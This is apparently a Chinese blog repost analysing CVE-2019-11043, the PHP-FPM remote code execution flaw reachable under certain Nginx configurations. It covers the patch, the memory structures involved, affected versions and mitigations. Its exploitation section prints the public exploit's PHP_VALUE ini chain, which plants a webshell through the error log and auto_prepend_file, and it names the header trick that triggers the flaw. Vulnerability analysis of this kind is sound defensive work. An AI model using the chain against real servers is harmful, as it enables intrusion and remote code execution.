乾貨|CVE-2019-11043: PHP-FPM在Nginx特定配置下任意程式碼執行漏洞分析
近期,國外安全研究員Andrew Danau,在參加奪旗賽(CTF: Capture the Flag)期間,偶然發現php-fpm元件處理特定請求時存在缺陷:在特定Nginx配置下,特定構造的請求會造成php-fpm處理異常,進而導致遠端執行任意程式碼。當前,作者已經在github上公佈了相關漏洞資訊及自動化利用程式。鑑於Nginx+PHP組合在Web應用開發領域擁有極高的市場佔有率,該漏洞影響範圍較為廣泛。
漏洞概述
PHP-FPM在Nginx特定配置下存在任意程式碼執行漏洞。具體為:
使用Nginx + PHP-FPM搭建的伺服器在使用類似如下配置的nginx.conf時:
1 location ~ [^/]\.php(/|$) {
2 fastcgi_split_path_info ^(.+?\.php)(/.*)$;
3 fastcgi_param PATH_INFO $fastcgi_path_info;
4 fastcgi_pass php:9000;
5 ...
Nginx中
fastcgi_split_path_info
在處理存在"\n"(%oA) 的path_info時,會將傳遞給PHP-FPM的PATH_INFO置為空(
PATH_INFO=""
),影響關鍵指標的指向,導致後續
path_info[0]=0
的置零操作位置可控,透過構造特定長度和內容的請求,可以覆蓋寫特定位置資料,插入特定環境變數,進而導致程式碼執行。
漏洞分析
首先,分析其補丁:在進行
request_info
結構體初始化的
static void init_request_info(void)
函式中,增添對pilen 和slen的大小校驗,規避了指標的非預期回溯移動。
1 // php-src/sapi/fpm/fpm/fpm_main.c
2 ...
3 if (pt) {
4 while ((ptr = strrchr(pt, '/')) || (ptr = strrchr(pt, '\\'))) {
5 // 對傳入PATH_INFO 進行校驗。透過判斷檔案狀態,獲取真實PATH_INFO
6 *ptr = 0;
7 f (stat(pt, &st) == 0 && S_ISREG(st.st_mode)) {
8 int ptlen = strlen(pt); # Path-translated CONTENT_LENGTH
9 int slen = len - ptlen; //script length
10 int pilen = env_path_info ? strlen(env_path_info) : 0; //Path info 長度 0
11 int tflag = 0;
12 char *path_info;
13
14 if (apache_was_here) {
15 /* recall that PATH_INFO won't exist */
16 path_info = script_path_translated + ptlen;
17 tflag = (slen != 0 && (!orig_path_info || strcmp(orig_path_info, path_info) != 0));
18 } else {
19 - path_info = env_path_info ? env_path_info + pilen - slen : NULL; // 透過偏移設定新env_path_info,但是未對偏移量做校驗
20 - tflag = (orig_path_info != path_info);
21 + path_info = (env_path_info && pilen > slen) ? env_path_info + pilen - slen : NULL;
22 + tflag = path_info && (orig_path_info != path_info);
23 }
24
25 if (tflag) {
26 if (orig_path_info) {
27 char old;
28
29 FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
30 old = path_info[0];
31 path_info[0] = 0; //置零操作
32 if (!orig_script_name ||
33 strcmp(orig_script_name, env_path_info) != 0) {
34 if (orig_script_name) {
35 FCGI_PUTENV(request, "ORIG_SCRIPT_NAME", orig_script_name);//觸發入口
36 }
37 SG(request_info).request_uri = FCGI_PUTENV(request, "SCRIPT_NAME", env_path_info);
38 } else {
39 SG(request_info).request_uri = orig_script_name;
40 }
41 path_info[0] = old;
42 }
43 ...
其中
1 //以為例
2 PATH_INFO=/test
3 PATH_TRANSLATED=/docroot/info.php/test
4 SCRIPT_NAME=/info.php
5 REQUEST_URI=/info.php/test?a=b
6 SCRIPT_FILENAME=/docroot/info.php
7 QUERY_STRING=a=b
8
9 pt = script_path_translated; // = env_script_filename => "/docroot/info.php/test"
10 len = script_path_translated_len // 為"/docroot/info.php/test"
11
12 // 經過重新計算處理後
13 int ptlen = strlen(pt); // strlen("/docroot/info.php")
14 int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test"
15 int slen = len - ptlen; // len("/test")
16
17 path_info = env_path_info + pilen - slen; // pilen 取值可能未0 或slen, 即偏移為0 或 -N
可見,當PATH_INFO為空時,path_info 指向發生向前偏移,偏移長度為
test
的長度。進而
path_info[0] = 0;
可以將特定位置 單位元組置零。但是,普通位置的置零並不會造成RCE,進一步利用需要將特定控制位置零,且該控制位恰巧能控制寫入位置。
request->env->data->pos
便是這樣一處位置。這裡需要說明一下各變數的儲存方式。
透過fastcgi協議傳入的各環境變數會儲存到_fcgi_request->env 這個fcgi_hash結構體中,供後續執行取用,結構具體定義如下:
1 // php-src/sapi/fpm/fpm/fastcgi.c
2 typedef struct _fcgi_hash_bucket {
3 unsigned int hash_value;
4 unsigned int var_len;
5 char *var;
6 unsigned int val_len;
7 char *val;
8 struct _fcgi_hash_bucket *next;
9 struct _fcgi_hash_bucket *list_next;
10 } fcgi_hash_bucket;
11
12 typedef struct _fcgi_hash_buckets {
13 unsigned int idx;
14 struct _fcgi_hash_buckets *next;
15 struct _fcgi_hash_bucket data[FCGI_HASH_TABLE_SIZE];
16 } fcgi_hash_buckets;
17
18 typedef struct _fcgi_data_seg {
19 char *pos;
20 char *end;
21 struct _fcgi_data_seg *next;
22 char data[1];
23 } fcgi_data_seg;
24
25 typedef struct _fcgi_hash {
26 fcgi_hash_bucket *hash_table[FCGI_HASH_TABLE_SIZE];
27 fcgi_hash_bucket *list;
28 fcgi_hash_buckets *buckets;
29 fcgi_data_seg *data;
30 } fcgi_hash;
31 ...
32 /* hash table */
33 //初始化操作
34 static void fcgi_hash_init(fcgi_hash *h)
35 {
36 memset(h->hash_table, 0, sizeof(h->hash_table));
37 h->list = NULL;
38 h->buckets = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
39 h->buckets->idx = 0;
40 h->buckets->next = NULL;
41 h->data = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + FCGI_HASH_SEG_SIZE); // 預設分配 (4*8 - 1) + 4096
42 h->data->pos = h->data->data; //指向環境變數初始寫入位置
43 h->data->end = h->data->pos + FCGI_HASH_SEG_SIZE; 指向//data_seg末尾
44 h->data->next = NULL;
45 }
46 ...
其中我們主要關注其中的get/set操作,實現如下:
1 static char *fcgi_hash_get(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, unsigned int *val_len)
2 // 關聯 FCGI_GETENV()
3 {
4 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK;
5 fcgi_hash_bucket *p = h->hash_table[idx];
6
7 while (p != NULL) {
8 //需要hast_value值相同,var_len相同才能取出值
9 if (p->hash_value == hash_value &&
10 p->var_len == var_len &&
11 memcmp(p->var, var, var_len) == 0) {
12 *val_len = p->val_len;
13 return p->val;
14 }
15 p = p->next;
16 }
17 return NULL;
18 }
19
20 static char* fcgi_hash_set(fcgi_hash *h, unsigned int hash_value, char *var, unsigned int var_len, char *val, unsigned int val_len)
21 // 關聯 FCGI_PUTENV()
22 {
23 unsigned int idx = hash_value & FCGI_HASH_TABLE_MASK; // 計算hash_value確定 index
24 fcgi_hash_bucket *p = h->hash_table[idx]; //獲取原有hash_table中的對應值
25
26 while (UNEXPECTED(p != NULL)) {
27 if (UNEXPECTED(p->hash_value == hash_value) &&
28 p->var_len == var_len &&
29 memcmp(p->var, var, var_len) == 0) {
30
31 p->val_len = val_len;
32 p->val = fcgi_hash_strndup(h, val, val_len);
33 return p->val;
34 }
35 p = p->next;
36 }
37
38 if (UNEXPECTED(h->buckets->idx >= FCGI_HASH_TABLE_SIZE)) {
39 fcgi_hash_buckets *b = (fcgi_hash_buckets*)malloc(sizeof(fcgi_hash_buckets));
40 b->idx = 0;
41 b->next = h->buckets;
42 h->buckets = b;
43 }
44
45 p = h->buckets->data + h->buckets->idx;
46 h->buckets->idx++;
47 p->next = h->hash_table[idx];
48 h->hash_table[idx] = p;
49 p->list_next = h->list;
50 h->list = p;
51
52 p->hash_value = hash_value;
53 p->var_len = var_len;
54 p->var = fcgi_hash_strndup(h, var, var_len);
55 p->val_len = val_len;
56 p->val = fcgi_hash_strndup(h, val, val_len);
57 return p->val;
58 }
59
60 static inline char* fcgi_hash_strndup(fcgi_hash *h, char *str, unsigned int str_len)
61 // 實際操作request->env->data,進行資料寫入。
62 {
63 char *ret;
64
65 if (UNEXPECTED(h->data->pos + str_len + 1 >= h->data->end)) {
66 //如果準備寫入的資料長度大於當前指向的fcgi_hash_seg大小,則向前插入新的fcgi_hash_seg
67 unsigned int seg_size = (str_len + 1 > FCGI_HASH_SEG_SIZE) ? str_len + 1 : FCGI_HASH_SEG_SIZE;//較長值,不跨越兩個seg進行寫入。
68 fcgi_data_seg *p = (fcgi_data_seg*)malloc(sizeof(fcgi_data_seg) - 1 + seg_size);
69 p->pos = p->data;
70 p->end = p->pos + seg_size;
71 p->next = h->data;
72 h->data = p;
73 }
74
75 ret = h->data->pos;
76 memcpy(ret, str, str_len); //於h->data->pos後寫入資料
77 ret[str_len] = 0;
78 h->data->pos += str_len + 1; //後移h->data->pos到新的可寫入位置
79 return ret;
80 }
由此,我們可以得出:
request->env->data->pos
的指向直接影響我們環境變數Key,Value的寫入位置,只要我們控制了
char* pos
的指向,就可能覆蓋已有的資料。但是,要想達成RCE還存在以下要求及限制:
-
指標前移受當前fcgi_hash_seg空間結構影響,過短無法將
char* pos
置零,過長會分配到新fcgi_hash_seg空間。(如傳遞"形如"也可造成指標後移,) -
path_info[0] = 0
僅能將單位元組置零,最好為最低位,否則會造成指標位置偏離過多。 - 鑑於條件 2 被覆蓋寫的地址最低位應為0,且其後為符合條件的可覆蓋的環境變數。
- 被覆蓋位置環境變數的key必須與預期寫入的key滿足:var、hash_value和var_len均相同,才可能被讀取。
-
執行
FCGI_PUTENV(request, "ORIG_PATH_INFO", orig_path_info);
時,分別寫入ORIG_SCRIPT_NAME
、orig_script_name
("ORIG_SCRIPT_NAME/index.php/PHP_VALUE\nAAAAAA")。
相應地,我們可以:
-
透過控制query_string的長度,使path_info恰好處於新fcgi_hash_seg的data首位,這時我們僅需移動
8+8+8+len("PATH_INFO\0")+N = 34 + N
即可完成對char* pos
的篡改。滿足條件1,2的要求。 -
透過自定義
http header
,操縱request header
的長度將預期覆蓋的環境變數放置到特定的位置(0x____00+len("ORIG_SCRIPT_NAME")+len("/index.php/"))。滿足條件3,5要求。(在NGINX中,HTTP中的請求頭會以"HTTP_XXX"的形式傳入PHP-FPM,隨後寫入到request-env
中) -
Exp作者提供了
EBUT
這個自定義頭,其env變數名HTTP_EBUT
與PHP_VALUE
在長度和hash_value方面相等,且PHP_VALUE
會在後續處理中被嘗試讀取(ini = FCGI_GETENV(request, "PHP_VALUE");
)。滿足條件4的要求。
除此之外,鑑於PATH_INFO重新取值部分邏輯主要是處理PATH_INFO與真實path_info不同的情況,對開頭提及的nginx配置項,存在一種情況,發起形如
的url,可以構造以下場景
1 //以為例,index為存在的檔案
2 PATH_INFO=/test
3 PATH_TRANSLATED=/docroot/index/info.php/test
4 SCRIPT_NAME=/index/info.php
5 REQUEST_URI=/index/info.php/test?a=b
6 SCRIPT_FILENAME=/docroot/index/info.php
7 QUERY_STRING=a=b
8
9 pt = script_path_translated; // = env_script_filename => "/docroot/index/info.php/test"
10 len = script_path_translated_len // 為"/docroot/index/info.php/test"
11
12 // 經過重新計算處理後
13 int ptlen = strlen(pt); // strlen("/docroot/index")
14 int pilen = env_path_info ? strlen(env_path_info) : 0; // 即len(PATH_INFO) "/test"
15 int slen = len - ptlen; // len("/info.php/test ")
16
17 path_info = env_path_info + pilen - slen; // pilen < slen, 即偏移為-N
此時URL中無需存在
%0A
,亦可完成指標移位,漏洞過程與上述類似,但是因為script_name無效,無法直觀顯示攻擊狀態,利用難度較高,不再贅述。
path_info指向了request->env->data->pos後的記憶體佈局
漏洞利用
Exp作者利用
PHP_VALUE
向PHP傳遞多個環境變數,使PHP產生錯誤,以錯誤日誌的形式將webshell輸出到/tmp/a,並透過auto_prepend_file自動執行/tmp/a中的惡意程式碼,達成getshell。
1 var chain = []string{
2 "short_open_tag=1", //開啟php短標籤
3 "html_errors=0", // 在錯誤資訊中關閉HTML標籤。
4 "include_path=/tmp", //包含路徑
5 "auto_prepend_file=a", //指定指令碼執行前自動包含的檔案,功能類似require()。
6 "log_errors=1", //使能錯誤日誌
7 "error_reporting=2", //指定錯誤級別
8 "error_log=/tmp/a", //錯誤日誌記錄檔案
9 "extension_dir=\"<?=\`\"", //指定extension的載入目錄
10 "extension=\"$_GET[a]\`?>\"", //指定載入的extension
11 }
影響範圍
在文初提到的配置下,該漏洞影響以下版本的PHP:
7.1.x < 7.1.33
7.2.x < 7.2.24
7.3.x < 7.3.11
漏洞修復
可以透過 Nginx 增添配置
try_files %uri = 404
php設定
cgi.fix_pathinfo=0
選項,臨時規避漏洞影響。也可以選擇使用官方已經釋出的更新進行完全修復。
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/69912185/viewspace-2664123/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- PHP-fpm 遠端程式碼執行漏洞(CVE-2019-11043)分析PHP
- Django任意程式碼執行漏洞分析Django
- VMwareMac版本漏洞可任意執行惡意程式碼REMMac
- IE 5.5 Index.dat 執行任意程式碼漏洞 (轉)Index
- GitHub漏洞允許任意程式碼執行,Windows不受影響GithubWindows
- 懸鏡安全丨Java 反序列化任意程式碼執行漏洞分析與利用Java
- Joomla遠端程式碼執行漏洞分析OOM
- Firefox,Chrome中的高危漏洞允許執行任意程式碼FirefoxChrome
- 流行 VPN 包含允許執行任意程式碼的安全漏洞
- 烽火狼煙丨Apache Commons Text 任意程式碼執行漏洞Apache
- PHP 近期被爆存在遠端程式碼執行漏洞 CVE-2019-11043PHP
- Acer和華碩電腦漏洞曝光,可導致任意程式碼執行
- 修復Apache Log4j任意程式碼執行漏洞安全風險通告Apache
- Git 爆任意程式碼執行漏洞,所有使用者都受影響Git
- Discuz! X系列遠端程式碼執行漏洞分析
- PHP CGI Windows下遠端程式碼執行漏洞PHPWindows
- nginx + PHP-fpm 配置示例NginxPHP
- PHP-FPM和nginx配置PHPNginx
- centos php-fpm nginx配置CentOSPHPNginx
- Mac 下 Nginx、MySQL、PHP-FPM 的安裝配置MacNginxMySqlPHP
- Android Adobe Reader 任意程式碼執行分析(附POC)Android
- 利用 Python 特性在 Jinja2 模板中執行任意程式碼Python
- WordPress4.6任意命令執行漏洞
- Mac下Nginx、PHP、MySQL 和 PHP-fpm安裝配置MacNginxPHPMySql
- ThinkPHP遠端程式碼執行漏洞PHP
- phpunit 遠端程式碼執行漏洞PHP
- iOS Jailbreak Principles - Undecimus 分析(三)通過 IOTrap 實現核心任意程式碼執行iOSAI
- 最新漏洞:Spring Framework遠端程式碼執行漏洞SpringFramework
- RCE(遠端程式碼執行漏洞)原理及漏洞利用
- OpenWRT 曝遠端程式碼執行漏洞
- XYHCMS 3.6 後臺程式碼執行漏洞
- Java集合乾貨——CopyOnWriteArrayList原始碼分析Java原始碼
- Java集合乾貨——ArrayList原始碼分析Java原始碼
- 雲伺服器ubuntu下nginx和php-fpm環境配置伺服器UbuntuNginxPHP
- 在 Linux 中執行特定命令而無需 sudo 密碼Linux密碼
- Nginx %00空位元組執行php漏洞NginxPHP
- MongoDB乾貨系列2-MongoDB執行計劃分析詳解(3)MongoDB
- MongoDB乾貨系列2-MongoDB執行計劃分析詳解(2)MongoDB